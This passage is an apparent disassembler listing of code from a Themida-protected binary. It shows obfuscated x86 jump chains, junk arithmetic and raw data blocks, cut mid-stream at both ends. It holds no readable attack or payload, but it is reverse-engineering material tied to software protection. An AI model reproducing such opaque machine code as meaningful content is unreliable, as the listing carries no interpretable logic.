0C4812434h, 4, 88BD5547h dd 311B9943h, 16FE9EFh, 34890000h, 685E5424h, 1EFBh, 55243C89h dd 0A80D50BDh, 0A91E97Ch, 0D5A0000h, 255701Dh, 87E8D005h dd 4389E9D9h, 48F0000h, 2C895C24h, 6367E924h, 0C8890000h dd 58C60159h, 55B7E9h, 0EA65E900h, 60E9FFFFh, 58FFFFEAh dd 0E924148Bh, 0A6DDh ; --------------------------------------------------------------------------- loc_53690C: ; CODE XREF: Themida_:00538ABAj add eax, ebx sub eax, 6EAF77F2h sub eax, 570425Eh jmp loc_5355A7 ; --------------------------------------------------------------------------- db 5Fh, 1, 0CDh dd 83240C8Bh, 0EC8304C4h, 24048904h, 468h, 97DFE900h, 48B0000h dd 0E1895124h, 4C181h, 8BE90000h, 0F700008Fh, 42B850DFh dd 0F720E57Bh, 0F7D8F7D0h, 48D8F7D0h, 37858905h, 58C701E9h dd 51B7EF81h, 0F7811558h, 94719D80h, 8AE9F901h, 81000000h dd 4C4h, 6E9C100h, 98DAE9h db 0 ; --------------------------------------------------------------------------- loc_536981: ; CODE XREF: Themida_:0053EBB4j pop edx jmp loc_538BC2 ; --------------------------------------------------------------------------- loc_536987: ; CODE XREF: Themida_:0053B250j add esi, 9E88DDE2h xor ebx, esi pop esi dec ebx push edi mov edi, 42F90856h not edi and edi, 236E3CAEh sub edi, 57766922h jmp loc_536297 ; --------------------------------------------------------------------------- word_5369AA dw 34FFh ; DATA XREF: Themida_:00535280o dd 240C8B24h, 8104C483h, 4ECh, 240C8900h, 35CE9h, 9BE95F00h dd 88000058h, 3BDAE9CBh, 1590000h, 63BF57D5h, 5126902Ah dd 0CF5588B9h, 0F4C9813Ah, 81516D30h, 1303CBC1h, 0E9D1F701h dd 0FFFFFD5Ah ; --------------------------------------------------------------------------- loc_5369F0: ; CODE XREF: Themida_:0053B860j push ebp mov ebp, edi mov eax, ebp mov ebp, [esp] jmp loc_53EEE8 ; --------------------------------------------------------------------------- db 5Fh, 83h, 0C1h dd 240C8704h, 0B951555Ch, 791B370Dh, 0E959CD89h, 0EA8h dd 5159CE01h, 853A8C68h, 0F181594Ah, 2EFB46E6h, 4DA7E9h dd 0D7F75D00h, 3240E9h db 0 ; --------------------------------------------------------------------------- loc_536A31: ; CODE XREF: Themida_:00539FABj pop esp mov [esp], ebx jmp loc_53A087 ; --------------------------------------------------------------------------- loc_536A3A: ; CODE XREF: Themida_:0053A33Fj mov ecx, esp add ecx, 4 jmp loc_540C13 ; --------------------------------------------------------------------------- db 33h dd 34312434h, 24343324h, 242CD25Ch, 0E909E99Ch, 0EA81FFFFh dd 0FCE908D1h, 92FBE9h db 0 ; --------------------------------------------------------------------------- loc_536A65: ; CODE XREF: Themida_:0053A682j push ebx mov ebx, 2AAC70B5h xor ecx, ebx jmp loc_539261 ; --------------------------------------------------------------------------- dw 4BEh dd 1000000h, 89565EF3h, 4C681E6h, 81000000h, 4EEh, 24348700h dd 243C895Ch, 2DD168h, 242C8900h, 0F55F3CBDh, 17BA5264h dd 816E9F7Dh, 5F0070C2h, 8AF2814Eh, 1A868C0h, 0EE95AD5h dd 81000012h, 4C4h, 4EC8300h, 0A4CEE9h, 8BDA0100h, 0C481241Ch dd 4, 0F113E952h, 0E952FFFFh, 0A9F8h ; --------------------------------------------------------------------------- loc_536ADC: ; CODE XREF: Themida_:0053EFD9j and ecx, eax push dword ptr [esp] mov eax, [esp] jmp loc_537A4E ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 0A145E9h db 0 ; --------------------------------------------------------------------------- loc_536AF1: ; CODE XREF: Themida_:0053B8F0j and bh, 0 inc bh sub bh, 0BAh xor bh, 75h sub cl, bh jmp loc_53F5CD ; --------------------------------------------------------------------------- db 81h dd 5708246Ch, 293B7906h, 81082444h, 57082444h, 0E93B7906h dd 27A9h, 148BD189h, 4C48124h, 50000000h, 782497B8h, 0B5C18121h dd 0E924FE7Fh, 7D90h, 5AD7015Eh, 4BD55h, 0EF010000h, 243C875Dh dd 28BD2C5Ch, 2CE951D8h, 2D00006Bh, 771F469Ah, 47B9B951h dd 81414A61h, 0AB18DFE9h, 81D9F779h, 4B8852C1h, 713DE9EFh dd 535E0000h, 0E1243481h, 8B2ECF67h, 0C4812404h, 4, 0CF67E135h dd 1EE95B2Eh db 32h, 2 dup(0) ; --------------------------------------------------------------------------- loc_536B8F: ; CODE XREF: Themida_:00535605j push ebx mov bl, 86h jmp loc_5395C6 ; --------------------------------------------------------------------------- db 68h dd 0CCAh, 0BE243489h, 15D12CC7h, 43DBE9h, 0B8505800h, 679B5537h dd 0BC2DD0F7h, 0E9722050h, 76D4h ; --------------------------------------------------------------------------- loc_536BBC: ; CODE XREF: Themida_:00536F6Cj push ebx mov ebx, 4 add esi, ebx pop ebx push ebx mov ebx, 4 add esi, ebx mov ebx, [esp] push edx mov edx, esp add edx, 4 jmp loc_53BF7A ; --------------------------------------------------------------------------- dw 0E289h dd 4C281h, 0EA810000h, 4, 0E9241487h, 19D9h, 56E08950h dd 0E07624BEh, 4EE6D157h, 0B144EE81h, 0E3E9624Dh, 57000018h dd 0C781E789h, 4, 631AE9h db 0 ; --------------------------------------------------------------------------- loc_536C19: ; CODE XREF: Themida_:005353E6j not edi xchg edi, ecx inc ecx jmp loc_535C50 ; --------------------------------------------------------------------------- loc_536C23: ; CODE XREF: Themida_:0053DD41j add ebx, 4 jmp loc_53FA94 ; --------------------------------------------------------------------------- dw 1489h aISt db '$ˆÂét{',0 align 4 loc_536C38: ; CODE XREF: Themida_:0053B6DFj mov ebx, [esp] add esp, 4 pop ecx and eax, edi pop edi or eax, eax jz loc_53F7DF push dword ptr [edi+28h] jmp loc_53E4F0 ; --------------------------------------------------------------------------- dw 8159h dd 4C4h, 0C0B60F00h, 0E98734FFh, 2339h, 0E289525Fh, 7EEAE9h dd 0C2015B00h, 1E62C281h, 0EC834322h, 89A8E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_536C7E: ; CODE XREF: Themida_:0053878Cj add edx, 4 sub edx, 4 jmp loc_5399DE ; --------------------------------------------------------------------------- db 55h dd 0FFF018E9h db 0FFh byte_536C95 db 8Bh, 4, 24h ; DATA XREF: Themida_:00535124o dd 81E28952h, 4C2h, 4EA8300h, 8B99E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_536CAA: ; CODE XREF: Themida_:0053B026j mov ebp, 282D440Ah jmp loc_541383 ; --------------------------------------------------------------------------- loc_536CB4: ; CODE XREF: Themida_:0053866Aj pop dword ptr [esp] pop esp or eax, eax jnz loc_53F7DF push 52C3h jmp loc_53966D ; --------------------------------------------------------------------------- loc_536CCA: ; CODE XREF: Themida_:005404C5j push dword ptr [esp] mov esi, [esp] add esp, 4 push 2F8Ch mov [esp], eax mov eax, esp jmp loc_53E475 ; --------------------------------------------------------------------------- db 29h, 0EAh, 5Dh dd 45CFBB53h, 0CB8132B6h, 2D3C2964h, 0E3C1DBF7h, 0A5E905h dd 0E1890000h, 4C181h, 0E9810000h, 4, 5C240C87h, 0BF243C89h dd 4, 7CBFE9h, 68E18900h, 12CEh, 0BE243489h, 51D21EEDh dd 0D58CE81h, 0F6814D43h, 5DD31FF9h, 48F0BE56h, 33E94E81h dd 5900000Dh, 0B0CE955h, 895C0000h, 75B7241Ch, 74ABE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_536D56: ; CODE XREF: Themida_:0053A145j sub esp, 4 mov [esp], esi push 663009B1h pop esi jmp loc_53E65D ; --------------------------------------------------------------------------- db 88h dd 0C8EE9EEh, 0ABF0000h, 0BB15C749h, 15C74908h, 15FFB31h dd 8E4DE9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_536D82: ; CODE XREF: Themida_:00536F8Ej sub edx, 4D3A3FE5h jmp loc_538DED ; --------------------------------------------------------------------------- db 0E9h, 0D1h, 0E5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_536D92: ; CODE XREF: Themida_:00541024j mov ebp, 72846455h push edi jmp loc_53D49A ; --------------------------------------------------------------------------- loc_536D9D: ; CODE XREF: Themida_:005362A9j pop esi jmp loc_5370EF ; --------------------------------------------------------------------------- db 0F7h dd 0BEEB81D3h, 29F7B2A0h, 0C2835BDAh, 8C79E9FFh, 14870000h dd 0C3315C24h, 5184EA81h, 0B0E976EAh, 8100003Dh, 0D60F9CF6h dd 9B2DE965h, 515D0000h, 42474FFh, 87E7E9h db 0 ; --------------------------------------------------------------------------- loc_536DDD: ; CODE XREF: Themida_:005361EBj or edx, 0C010CE6h sub edx, 8178D68Eh sub edi, edx pop edx or edx, edi pop edi xor edx, 56653393h neg edx sub edx, 7DF3A89Eh xor edi, edx jmp loc_53CBAA ; --------------------------------------------------------------------------- dd 240C895Ch, 0C1815954h, 4, 38BE5652h, 0E9727529h, 34CFh ; --------------------------------------------------------------------------- loc_536E1C: ; CODE XREF: Themida_:00538D2Bj inc ecx inc ecx xchg ebx, ecx jmp loc_53C6A4 ; --------------------------------------------------------------------------- loc_536E25: ; CODE XREF: Themida_:0053B78Dj mov esp, [esp] push eax sub esp, 4 mov [esp], edi mov edi, 5F1432E1h xor edi, 6FDA250Eh sub edi, 0DEA7B094h push edi xor dword ptr [esp], 48184652h pop eax push ebp jmp loc_53EFF1 ; --------------------------------------------------------------------------- aFSsd db 'f]é™d',0 align 2 dw 0D801h dd 1C0BE9h, 2FF28000h, 801AE280h, 0EA80A5EAh, 8BD0301Bh dd 0C4832414h, 0E9C28804h, 58E7h, 5055E689h, 5D2FE8B8h dd 0E2E94815h, 80FFFFF1h, 148B2CE9h, 4C48124h, 50000000h dd 8AE987B4h, 5B000078h, 488AE9h, 24248B00h, 0A047E9h dd 241C8900h, 241C8B54h, 4F5668h, 243C8900h, 0C781E789h dd 4, 4C781h, 76E90000h db 90h, 2 dup(0) byte_536ECB db 66h ; DATA XREF: Themida_:005350D8o dd 6824048Bh, 3AF1h, 89242C89h, 0E95057E5h, 0A17Fh, 5F665D66h dd 206E6866h, 242C8966h, 0ECDE9h, 24148B00h, 9A52E9h, 24248900h dd 4240483h, 83243C8Bh, 0E95104C4h, 2085h ; --------------------------------------------------------------------------- loc_536F0C: ; CODE XREF: Themida_:0053BEABj add ebx, 4 xchg ebx, [esp] jmp loc_53734C ; --------------------------------------------------------------------------- db 58h dd 2C581h, 38E90000h, 5A000088h, 3EAC159h, 90E2E9h db 0 ; --------------------------------------------------------------------------- loc_536F2D: ; CODE XREF: Themida_:00540DBBj pop eax add ebp, esi pop esi sub ebp, 0FFFFFFFFh sub esp, 4 mov [esp], ecx mov ecx, 11072FD8h push edi mov edi, 1B274422h xor edi, 42F75817h inc edi jmp loc_53D7D5 ; --------------------------------------------------------------------------- db 68h, 2Dh, 79h dd 0C890000h, 0EC28E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_536F5E: ; CODE XREF: Themida_:0053CCBEj mov ecx, [esp] sub esp, 4 mov [esp], esi push esp pop esi jmp loc_536BBC ; --------------------------------------------------------------------------- loc_536F71: ; CODE XREF: Themida_:00539439j add edx, 77266EEBh add edx, eax sub edx, 77266EEBh pop eax push eax mov eax, 4 add edx, 4D3A3FE5h add edx, eax jmp loc_536D82 ; --------------------------------------------------------------------------- db 43h dd 0E904E3C1h, 49BAh ; --------------------------------------------------------------------------- loc_536F9C: ; CODE XREF: Themida_:0053710Aj add esp, 4 and ebx, eax jmp loc_5401EA ; --------------------------------------------------------------------------- word_536FA6 dw 77FFh ; DATA XREF: Themida_:00535314o dd 59669D1Ch, 9C2414D3h, 0FFE3AEE9h, 0E98149FFh, 97D44D18h dd 5BE9CE01h, 89000080h, 0E95756E3h, 422Ch, 0DF98F781h dd 0F801BBE7h, 8D99E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_536FDA: ; CODE XREF: Themida_:0053F5D3j mov ah, 22h sub cl, ah mov ax, [esp] add esp, 2 add cl, 4Dh jmp loc_53F61E ; --------------------------------------------------------------------------- loc_536FED: ; CODE XREF: Themida_:00535879j add ebx, 4 jmp loc_53D6DA ; --------------------------------------------------------------------------- loc_536FF8: ; CODE XREF: Themida_:005402E6j or ebx, 30876B1Bh shr ebx, 2 xor ebx, 4FF41EDFh sub ebx, 6C96372Dh dec ebx sub ebx, 0D6F23CCEh xor ecx, ebx pop ebx add esi, ecx jmp loc_540E41 ; --------------------------------------------------------------------------- dw 0BF57h dd 1EA66CA4h, 8103E7C1h, 0CE5E85F7h, 8BFA01ABh db 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax mov eax, 0DD36D44h shr eax, 4 or eax, 21176F22h shl eax, 3 sub eax, 64AF4472h jmp loc_538EEB ; --------------------------------------------------------------------------- loc_537050: ; CODE XREF: Themida_:00537551j add ch, 79h xor al, ch mov ecx, [esp] add esp, 4 add dl, al mov eax, [esp] push ebp mov ebp, esp jmp loc_53C816 ; --------------------------------------------------------------------------- db 29h dd 0FBFBE9DAh, 3489FFFFh, 3DADE924h, 4330000h, 24043124h dd 7C51E9h, 4EC8300h, 1644E9h, 89565A00h, 4EC83E6h, 0BA241489h dd 626F4D9Ch, 0C103E2C1h, 91E908EAh, 89000087h, 0EC81241Ch dd 4, 0E9241489h, 9CDDh ; --------------------------------------------------------------------------- loc_5370B8: ; CODE XREF: Themida_:0053B542j sub ecx, 50FEBD5Dh push ebx push edi mov edi, ecx mov ebx, edi mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], ebx jmp loc_53DA07 ; --------------------------------------------------------------------------- dd 5DE9D088h, 89FFFFF4h, 0E6892434h, 4C681h, 0C0E90000h db 42h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5370EF: ; CODE XREF: Themida_:00536D9Ej shl eax, 1 add eax, 0D801E7C2h sub edi, eax pop eax xor ebx, edi pop edi add ebx, 6C72C13Ah sub edi, ebx pop ebx push edi pop eax mov edi, [esp] jmp loc_536F9C ; --------------------------------------------------------------------------- db 0BFh dd 18726215h, 5B5FFE01h, 4B951h, 0CE010000h, 81240C8Bh dd 4C4h, 74FF5600h, 8F5E0424h, 248B2404h, 68E9F724h, 7C8Eh dd 50241489h, 0E21DE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_537146: ; CODE XREF: Themida_:0053ACECj pop edi mov edi, esi pop esi and eax, edi mov edi, [esp] add esp, 4 or edx, eax shl edx, 1 push edx jmp loc_53D66B ; --------------------------------------------------------------------------- db 54h dd 0E92434FFh, 7697h, 1F11C381h, 0E9571982h, 0FFFFF07Ch dword_537174 dd 240C8B66h, 835A5452h, 3C8904ECh, 81E78924h, 4C7h, 68EAE900h ; DATA XREF: Themida_:005350DCo db 2 dup(0) ; --------------------------------------------------------------------------- loc_53718E: ; CODE XREF: Themida_:00539A0Fj push ecx jmp loc_53D4F6 ; --------------------------------------------------------------------------- dd 5C241C87h, 28FCE9h db 0 ; --------------------------------------------------------------------------- loc_53719D: ; CODE XREF: Themida_:0053DAD5j mov [esp], esp push edi jmp loc_538BE4 ; --------------------------------------------------------------------------- dw 0DDBBh dd 0E938D33Ah, 120Dh, 24048F5Dh, 0C8B665Ch, 0EC835724h dd 422E904h, 0F75C0000h, 4107E9E1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5371CA: ; CODE XREF: Themida_:0053E0F5j mov edx, [esp] push esi mov esi, esp jmp loc_53E2BC ; --------------------------------------------------------------------------- byte_5371D5 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005350ACo dd 52240C8Bh, 62EEE9h, 2C18300h, 2474FF51h, 240C8B04h dd 8F04C483h, 248B2404h, 24D36624h, 64E99C24h, 89FFFFE1h dd 0B850241Ch, 71161854h, 455C5505h, 58C3899Bh, 685BD829h dd 645Ah, 0B9240C89h, 1AD7673Fh, 189AE9h db 0 ; --------------------------------------------------------------------------- loc_537225: ; CODE XREF: Themida_:0053CA8Aj push ebx mov ebx, 27CC1F85h or ebp, ebx pop ebx jmp loc_53E1CA ; --------------------------------------------------------------------------- db 81h dd 707D91C5h, 81FD0123h, 707D91EDh, 0C5E95F23h, 8100007Eh dd 4C4h, 21BE5600h, 57685906h, 0C73E4668h, 9A685F7Fh, 89000022h dd 0FCBE2434h, 0E9140818h, 0FFFFEBC1h, 5AD0315Dh, 6658C329h dd 0E8E930FFh db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53727B: ; CODE XREF: Themida_:0053A738j xchg edi, [esp] pop esp push dword ptr [edi+eax*4] push dword ptr [esp] pop eax push 39BDh jmp loc_53D551 ; --------------------------------------------------------------------------- a@5Ch@iSA db '@5²cH@‰ÅéÓ€',0 dd 0FEBE5600h, 0E915121Eh, 7FEAh, 0C4202AB8h, 58C22946h dd 0C281DA01h, 46C4202Ah, 2C2835Bh, 2474FF52h, 48F5A04h dd 24248B24h, 24048B66h, 598EE9h db 0 byte_5372D1 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005352CCo aHd db '$hD)',0 align 2 dw 0C89h aTys db '$TYé',27h,'"',0 align 4 dd 0E99C5166h, 0FFFFE077h, 0D80021B3h, 241C8B66h, 0FFEF29E9h dd 240C8BFFh, 5604C483h, 0C6815E54h, 4, 0A063E9h, 1685500h dd 89000027h, 2EB82404h, 571CF801h, 46FCBE56h, 0F78943C3h dd 5FF8015Eh, 0BD6AC935h, 0FF5EE93Dh, 0D1F6FFFFh, 0E334C886h dd 32EB80h, 32C380C3h, 0B2526658h, 0E9D32848h, 5983h ; --------------------------------------------------------------------------- loc_53734C: ; CODE XREF: Themida_:00536F12j pop esp xchg edx, [esp] mov esp, [esp] jmp loc_53A59C ; --------------------------------------------------------------------------- dd 335DEE01h, 66E92434h, 0BF00000Ah, 7CA80D54h, 575DEF31h dd 0C781E789h, 4, 0E904EF83h, 0FFFFE306h, 8AE0C581h, 0E901FBCFh dd 815CE95Dh, 0EC810000h, 4, 81242489h, 42404h, 42E90000h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53739F: ; CODE XREF: Themida_:0053DAE9j pop esp mov [esp], esi push edx push 7A575BE4h pop edx sub esp, 4 mov [esp], eax mov eax, 122A6C01h push ebx jmp loc_53AD90 ; --------------------------------------------------------------------------- word_5373BE dw 8B66h ; DATA XREF: Themida_:005351D8o dd 0DBE9240Ch db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5373C7: ; CODE XREF: Themida_:00536155j mov ecx, 470B002Fh sub esi, ecx pop ecx push 2374h mov [esp], ebp push eax mov eax, 48175713h mov ebp, eax pop eax push edi mov edi, 35DF4330h xor edi, 7DAE3923h sub edi, 31EF196Fh jmp loc_540210 ; --------------------------------------------------------------------------- db 5Dh dd 11E9DE29h, 100005Bh, 5E042474h, 592434FFh, 0FFF6AAE9h dd 5C829FFh, 628F1D35h, 0E92434FFh, 7460h, 52240C8Bh, 0FAE9E289h dd 21FFFFE3h, 0E99C2404h, 0FFFFDF33h, 182F8E35h, 5C9F3564h dd 7E250C67h, 2D15056Bh, 35B90425h, 15445035h, 0D8022D6Dh dd 0C3214A48h, 67F38158h, 8904050Ah, 0F7015BDEh, 33EE95Eh dd 0E9560000h, 5485h, 5269C681h, 0F3015358h, 4C3815Eh dd 87000000h, 535C241Ch, 4BBh, 2FEE900h, 0E2C10000h, 94EA8103h dd 0E944993Ch, 4AA8h dword_537494 dd 68D830ACh, 1A6h, 53241489h, 0B753B551h, 0E9EF3036h ; DATA XREF: Themida_:0053514Co dd 787Bh, 5C240C33h, 0B6241489h, 3EC680A8h, 148BF030h dd 4C48124h, 56000000h, 0C681E689h, 4, 5A57B951h, 0D1F71A7Fh dd 5A5CC181h, 0CE291A7Fh, 8B65E9h db 0 byte_5374E1 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005352B8o dd 4EC8124h, 89000000h, 8B54243Ch, 0C483243Ch, 4B85004h dd 1000000h, 1C83E9C7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_537502: ; CODE XREF: Themida_:0053CD6Dj mov esp, [esp] jmp loc_53F7DF ; --------------------------------------------------------------------------- dw 68h dd 59000000h, 188D101h, 68240C8Bh, 6854h, 0E9241C89h, 1214h dd 6704DD04h db 2Ch, 0B7h, 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], edx mov dl, 7Fh inc dl push eax mov al, 0E3h push ecx mov ch, 0E3h jmp loc_537050 ; --------------------------------------------------------------------------- loc_537556: ; CODE XREF: Themida_:0054105Aj xchg ebp, [esp] mov esp, [esp] jmp loc_53DD46 ; --------------------------------------------------------------------------- byte_537561 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00535228o aVhyy db '$VhyY',0 dw 8900h dd 4832424h, 505E0424h, 4EC81h, 14890000h, 50E9BA24h, 0E9520337h dd 5E75h, 3824248Bh, 0D0E99CC1h, 68FFFFDDh, 17F2h, 3FD5E9h db 0 ; --------------------------------------------------------------------------- loc_53759D: ; CODE XREF: Themida_:0053AAD5j pop edi add ebx, eax jmp loc_53B06B ; --------------------------------------------------------------------------- db 81h, 44h, 24h dd 4B5AA804h, 81595F14h, 4C1h, 69E95500h, 5A00007Eh, 510AB652h dd 0B11AB652h, 0FBE98007h, 5266F128h, 0D100FBB2h, 0B3E95A66h dd 5CFFFFE7h, 0E61E9h, 0E9F32900h, 96C1h, 83242489h, 5F042404h dd 63BB5356h, 430C9A09h, 0D3F7DBF7h, 0D8E9DBF7h, 51000096h dd 0C9800AB1h, 80D1F6CAh, 0C9FEE6E9h, 8018E180h, 0CE8818F1h dd 3D20E9h db 0 ; --------------------------------------------------------------------------- loc_537619: ; CODE XREF: Themida_:0053B095j sub ecx, 2E332610h xor ecx, 60C9542Fh xor ecx, 242E3434h jmp loc_536617 ; --------------------------------------------------------------------------- dd 6600B4BBh, 70EB8174h, 0E938DF18h, 9011h, 8704C183h dd 248B240Ch, 2434FF24h, 0BAE9575Ah, 51FFFFE9h, 42474FFh dd 2894E9h db 0 ; --------------------------------------------------------------------------- loc_53765D: ; CODE XREF: Themida_:00539593j mov ecx, 3A9D3F15h shl ecx, 7 shl ecx, 7 push ebp mov ebp, 195014BFh shr ebp, 6 inc ebp add ebp, 11A7B72h add ebp, 5B07623Ah sub ecx, ebp pop ebp xor ecx, 0F33E2205h jmp loc_5356AC ; --------------------------------------------------------------------------- dd 0EC81E589h, 4, 68241C89h, 12C6h, 68242C89h, 607940FCh dd 5965E9h db 0 byte_5376A9 db 0FFh, 32h, 0E9h ; DATA XREF: Themida_:00535238o dd 0FFFFF6DDh, 0E9240489h, 0FFFFFEDBh, 30F28142h, 8125CC57h dd 479B23F2h, 0E8E4E945h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5376CA: ; CODE XREF: Themida_:00539B29j pop edi or esi, 3FD04200h neg esi shl esi, 1 shr esi, 7 shr esi, 6 xor esi, 0FCB11210h sub ebp, 441F71CDh add ebp, esi add ebp, 441F71CDh pop esi and eax, ebp push dword ptr [esp] pop ebp sub esp, 4 mov [esp], ebx jmp loc_53EB01 ; --------------------------------------------------------------------------- dd offset loc_41C57D+4 aIasti db 'ë€é’ˆ',0 dw 5B00h dd 0FFDC4EE9h, 32C181FFh, 3148095Ah, 240C8BCBh, 81595451h dd 4C1h, 4C18100h, 87000000h, 248B240Ch, 11D9E924h, 0EC810000h dd 4, 0B9240C89h, 6F257BD1h, 739EC181h, 0E1C14C15h, 52E18107h dd 0F7172372h, 7CF181D1h, 51D1BC86h, 0FE31595Eh, 61C6815Fh dd 0D1545345h, 81D6F7E6h, 0A606C4F6h, 81DEF736h, 0E86134F6h dd 0E9F00160h, 4F4h, 1C8BD901h, 23BFE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53778E: ; CODE XREF: Themida_:0053DD78j add esp, 4 push 762Eh mov [esp], esi mov esi, esp jmp loc_53BB46 ; --------------------------------------------------------------------------- dd 2474FF57h, 48F5F04h, 9665C24h, 0E99C2404h, 0FFFFDBAFh ; --------------------------------------------------------------------------- loc_5377B4: ; CODE XREF: Themida_:00536887j mov ebp, esp add ebp, 4 jmp loc_535402 ; --------------------------------------------------------------------------- byte_5377C1 db 68h, 21h, 0Dh ; DATA XREF: Themida_:00535284o dd 2C890000h, 625DE924h, 34890000h, 2BDE6824h, 2C890000h dd 22ADE924h, 83580000h, 48904ECh, 3003E924h, 0C4830000h dd 2C08304h, 14C5E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5377F6: ; CODE XREF: Themida_:005412C9j mov edi, [esp] add esp, 4 and eax, edx push dword ptr [esp] pop edx jmp loc_539F20 ; --------------------------------------------------------------------------- dw 0F701h dd 6BF7815Eh, 537A7721h, 83CDE957h, 85BA0000h, 0E9547831h dd 1F20h ; --------------------------------------------------------------------------- loc_537824: ; CODE XREF: Themida_:0053B5C8j add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp or eax, eax jmp loc_53E754 ; --------------------------------------------------------------------------- byte_53783B db 0ACh ; DATA XREF: Themida_:00535108o dd 0EC81D830h, 4, 51241489h, 88A7B353h, 0EE885BDDh, 884BE959h dd 0F5BD0000h, 17E3779h, 7618E9E8h, 2D580000h, 1B031863h dd 97CFE9h, 668AB800h, 0A1356ABCh, 0D2B8854h, 66DC2A61h dd 0E0C1D8F7h, 0B72D4007h, 2195D0BDh, 0ED8358C5h, 0C5814DFFh dd 0E3A5886Bh, 2C8BEB01h, 4C48324h, 0FFE990E9h, 2434FFFFh dd 4C4815Fh, 33000000h, 0C31240Ch, 240C3324h, 0E924248Bh dd 0FFFFFB6Bh, 6853DDF7h, 5B94h, 68243C89h, 2DC0522h, 7911685Fh dd 34890000h, 0CD1BE24h, 0F3892E43h, 5FFB315Eh, 1C8BDD09h dd 0E7895724h, 4C781h, 0C7810000h, 4, 8A03E9h, 241C8700h dd 0BAED815Ch, 217D2D80h, 0E95D1C6Fh, 0FFFFDA57h ; --------------------------------------------------------------------------- loc_53790C: ; CODE XREF: Themida_:0053C7A3j push 7C92223h pop edi push ebx jmp loc_53BA28 ; --------------------------------------------------------------------------- dd 0FEFDF581h, 8956EB6Fh, 5EF389EEh, 0A9EB815Dh, 167965Dh dd 9EBF57D3h, 81375F0Bh, 7622F8EFh, 3C78121h, 151AD75h dd 3815FFBh, 1, 2434FF5Bh, 39D4E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_537952: ; CODE XREF: Themida_:0053E3BEj push small 0 add byte ptr [esp], 40h sub [esp], dh sub byte ptr [esp], 40h mov dh, [esp] push esi mov esi, esp jmp loc_53CAF4 ; --------------------------------------------------------------------------- dd 0CFC38143h, 433D8639h, 76AFEB81h, 0DF2963EBh, 0F1C7815Bh dd 0E9434D54h, 8F5Dh ; --------------------------------------------------------------------------- loc_537988: ; CODE XREF: Themida_:0053BB27j mov dword ptr [edx+30h], 7DAA7D3Ah xor [edx+30h], eax push dword ptr [esp] mov eax, [esp] add esp, 4 push ebp push esp pop ebp jmp loc_5416A3 ; --------------------------------------------------------------------------- dw 0D701h dd 5024148Bh, 405E089h, 5000000h, 4, 5C240487h, 6A4D68h dd 242C8900h, 58CC6852h, 535A357Eh, 65ABA52h, 0E9E958D4h dd 68FFFFE2h, 56B1h, 0BE243489h, 15F857EDh, 685EF201h dd 170Ah, 2E60E9h, 30DD3000h, 0E9D5F6EBh, 8AA6h, 0EE805B59h dd 0B35366DEh, 31E2E90Bh, 0ECD00000h, 0FFD98DE9h, 240C8BFFh dd 4C481h, 4C010000h, 0C8B0424h, 0E7895724h, 4C781h, 0E9560000h dd 745Bh, 4BBh, 0DE895600h, 348BF789h, 4C48124h, 5B000000h dd 5D5F68h, 6616E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_537A4E: ; CODE XREF: Themida_:00536AE4j add esp, 4 jmp loc_53A212 ; --------------------------------------------------------------------------- db 81h, 0C5h, 35h dd 0C10D7861h, 0DDF706EDh, 1B37E9h, 0FC78100h, 29457436h dd 1322E9D7h, 0F1290000h, 6CC7E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_537A7E: ; CODE XREF: Themida_:0053AE73j pop edx jmp loc_53A290 ; --------------------------------------------------------------------------- dd 4EC81h, 70E90000h, 83FFFFF7h, 0EC8104C4h, 4, 2F15E9h db 0 byte_537A9D db 8Bh, 2 dup(24h) ; DATA XREF: Themida_:00535138o dd 0FFD8BEE9h, 0EC8351FFh, 24048904h, 73B54DB0h, 48BC500h dd 4C48324h, 18BE9h, 5FF82900h, 6856C801h, 2045h, 31CE9h db 0 byte_537ACD db 66h, 8Bh, 4 ; DATA XREF: Themida_:00535098o dd 4EC8324h, 54243489h, 0FFE852E9h, 48F5FFFh, 24248B24h dd 0FFF468E9h, 0FFE980FFh, 0E980D9F6h, 7E1C07Ah, 28F7E980h dd 1C8B59C8h, 4C48324h, 59E0E9h, 24148900h, 44E7B951h dd 0C9813D4Bh, 33AC2AC1h, 68E1D1h, 29000000h, 0E959240Ch dd 4F3Fh, 2D5DE989h, 628F1D35h, 0FFF8DCE9h, 4C181FFh, 83000000h dd 0C8704C1h, 0EC815C24h, 4, 0B0240489h, 66BE24F8h, 8D3BE951h dd 0E95A0000h, 737Dh, 63D5E958h, 815C0000h, 2C6h, 24348700h dd 4FCBE9h db 0 aM0Hj db '¬0Øh†\',0 ; DATA XREF: Themida_:0053530Co dd 240C8900h, 55BE68h, 8105E900h, 0F3810000h, 66034398h dd 0CBE9DF01h db 99h, 2 dup(0) ; --------------------------------------------------------------------------- loc_537B8F: ; CODE XREF: Themida_:0054002Dj pop ebx and eax, edx mov edx, [esp] push esi push esp pop esi add esi, 4 add esi, 4 jmp loc_53FC54 ; --------------------------------------------------------------------------- dw 